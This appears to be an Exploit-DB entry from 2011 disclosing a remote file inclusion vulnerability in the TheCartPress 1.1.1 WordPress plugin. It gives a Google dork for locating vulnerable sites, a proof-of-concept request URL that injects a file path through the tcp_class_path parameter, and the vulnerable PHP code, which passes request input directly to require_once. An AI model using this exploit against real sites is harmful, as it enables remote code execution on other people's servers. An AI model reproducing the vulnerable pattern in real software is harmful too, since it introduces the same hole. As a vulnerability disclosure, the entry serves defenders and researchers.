WordPress Plugin TheCartPress 1.1.1 - Remote File Inclusion

Author: Ben Schmidt
type: webapps
platform: php
port: 
date_added: 2011-09-19  
date_updated: 2011-09-19  
verified: 1  
codes: OSVDB-75616  
tags: WordPress Plugin  
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comthecartpress.1.1.1.zip  

raw file: 17860.txt  
# Exploit Title: Thecartpress Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/thecartpress
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/thecartpress/download/
# Version: 1.1.1 (tested)

---
PoC
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http://SERVER/WP_PATH/wp-content/plugins/thecartpress/checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI

---
Vulnerable Code
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if ( isset( $_REQUEST['tcp_save_fields'] ) ) {
	$path = $_REQUEST['tcp_class_path'];
	$class_name = $_REQUEST['tcp_class_name'];
	require_once( $path );